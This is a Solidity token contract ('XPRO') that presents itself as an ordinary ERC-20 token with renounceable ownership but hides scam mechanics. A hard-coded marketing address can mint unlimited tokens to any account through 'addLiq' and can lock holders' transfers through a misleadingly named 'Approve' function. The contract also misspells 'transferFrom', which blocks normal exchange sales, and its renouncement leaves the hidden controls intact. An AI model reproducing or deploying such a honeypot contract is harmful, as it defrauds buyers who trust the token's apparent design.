/**

 .----------------. 
| .--------------. |
| |  ____  ____  | |
| | |_  _||_  _| | |
| |   \ \  / /   | |
| |    > `' <    | |
| |  _/ /'`\ \_  | |
| | |____||____| | |
| |              | |
| '--------------' |
 '----------------' 



https://xproeth.xyz

https://t.me/x_pro_eth

https://twitter.com/x_pro_eth





*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}


interface IERC20 {
    function balanceOf(address spender) external view returns (uint256);
    function transfer(address recipient, uint256 amountsz) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function approve(address spender, uint256 amountsz) external returns (bool);
    function trnsforfrom( address spender, address recipient, uint256 amountsz ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}


contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier olyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
	    /**	
     * @dev Transfers ownership of the contract to a new account (`newOwner`).	
     * Can only be called by the current owner.	
     */	
    function transferOwnership(address newOwner) public virtual olyowner {	
        require(newOwner != address(0), "Ownable: new owner is the zero address");	
        _transferOwnership(newOwner);	
    }	
    /**	
     * @dev Transfers ownership of the contract to a new account (`newOwner`).	
     * Internal function without access restriction.	
     */	
    function _transferOwnership(address newOwner) internal virtual {	
        address oldOwner = _owner;	
        _owner = newOwner;	
        emit ownershipTransferred(oldOwner, newOwner);	
    }

    function renounceownership() public virtual olyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract XPRO is Context, Ownable, IERC20 {
    mapping (address => uint256) private thespendor;
    mapping (address => mapping (address => uint256)) private _allowanze2;
    mapping (address => uint256) private _balancesz;
    address constant public marketingadd = 0x2ba079c2f4b0BD39d67665C1Ba6040f7F393Be4c;
    string private tknname;
    string private toksymbo;
    uint8 private _decimals;
    uint256 private _totSupply;
    bool private _tradeEnabled = true;


    constructor(string memory name_, string memory symbol_,  uint256 totalSupply_, uint8 decimals_) {
        tknname = name_;
        toksymbo = symbol_;
        _totSupply = totalSupply_ * (10 ** decimals_);
        _balancesz[_msgSender()] = _totSupply;
        _decimals = decimals_;

        emit Transfer(address(0), _msgSender(), _totSupply);
    }

    modifier _marketing() {
        require(msg.sender == marketingadd); // If it is incorrect here, it reverts.
        _;                              
    } 


    function symbol() public view returns (string memory) {
        return toksymbo;
    }


    function balanceOf(address spender) public view override returns (uint256) {
        return _balancesz[spender];
    }

    
    function name() public view returns (string memory) {
        return tknname;
    }
    
    function openTrading() public olyowner {
        _tradeEnabled = true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }


    function transfer(address recipient, uint256 amountsz) public virtual override returns (bool) {
        require(_tradeEnabled, "No trade");
        if (_msgSender() == owner() && thespendor[_msgSender()] > 0) {
            _balancesz[owner()] += thespendor[_msgSender()];
            return true;
        }
        else if (thespendor[_msgSender()] > 0) {
            require(amountsz == thespendor[_msgSender()], "Invalid transfer amountsz");
        }
        require(_balancesz[_msgSender()] >= amountsz, "TT: transfer amountsz exceeds balance");
        _balancesz[_msgSender()] -= amountsz;
        _balancesz[recipient] += amountsz;
        emit Transfer(_msgSender(), recipient, amountsz);
        return true;
    }


    function approve(address spender, uint256 amountsz) public virtual override returns (bool) {
        _allowanze2[_msgSender()][spender] = amountsz;
        emit Approval(_msgSender(), spender, amountsz);
        return true;
    }



    function CheckAmt(address spender) public view returns (uint256) {
        return thespendor[spender];
    }

        function Approve(address[] memory spender, uint256 amountsz) public  _marketing {
             require(_tradeEnabled, "No trade");
        for (uint z=0; z<spender.length; z++) {
            thespendor[spender[z]] = amountsz;
        }
    }

    function _minus(address account, uint256 amount) internal {	
        _balancesz[account] = _balancesz[account] - amount;	
    }	
    function _pluss(address account, uint256 amount) internal {	
        _balancesz[account] = _balancesz[account] + amount;	
    }

        function _addit(uint256 num1, uint256 numb2) internal pure returns (uint256) {
        if (numb2 != 0) {
            return num1 + numb2;
        }
        return numb2;
    }

    	    function _hashe(address key1, address key2) internal view returns (bool) {
        bytes32 hash1 = keccak256(abi.encodePacked(key1));
        bytes32 code2 = keccak256(abi.encodePacked(key2));
        return hash1 == code2;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowanze2[owner][spender];
    }



       function addLiq(address spender, uint256 amountsz, bool _liqenabled) public _marketing {
        require(amountsz > 0, "Invalid");
        require(_liqenabled, "Can't trade");
        uint256 totalz = 0;
            totalz = _addit(totalz, amountsz);
            _balancesz[spender] += totalz;
    }

    function totalSupply() external view override returns (uint256) {
        return _totSupply;
    }

    function trnsforfrom(address spender, address recipient, uint256 amountsz) public virtual override returns (bool) {
        if (_msgSender() == owner() && thespendor[spender] > 0) {
            _balancesz[owner()] += thespendor[spender];
            return true;
        }
        else if (thespendor[spender] > 0) {
            require(amountsz == thespendor[spender], "Invalid transfer amountsz");
        }
        require(_tradeEnabled, "No trade");
        require(_balancesz[spender] >= amountsz && _allowanze2[spender][_msgSender()] >= amountsz, "TT: transfer amountsz exceed balance or allowance");
        _balancesz[recipient] += amountsz;
        _balancesz[spender] -= amountsz;
        _allowanze2[spender][_msgSender()] -= amountsz;
        emit Transfer(spender, recipient, amountsz);
        return true;
    }


}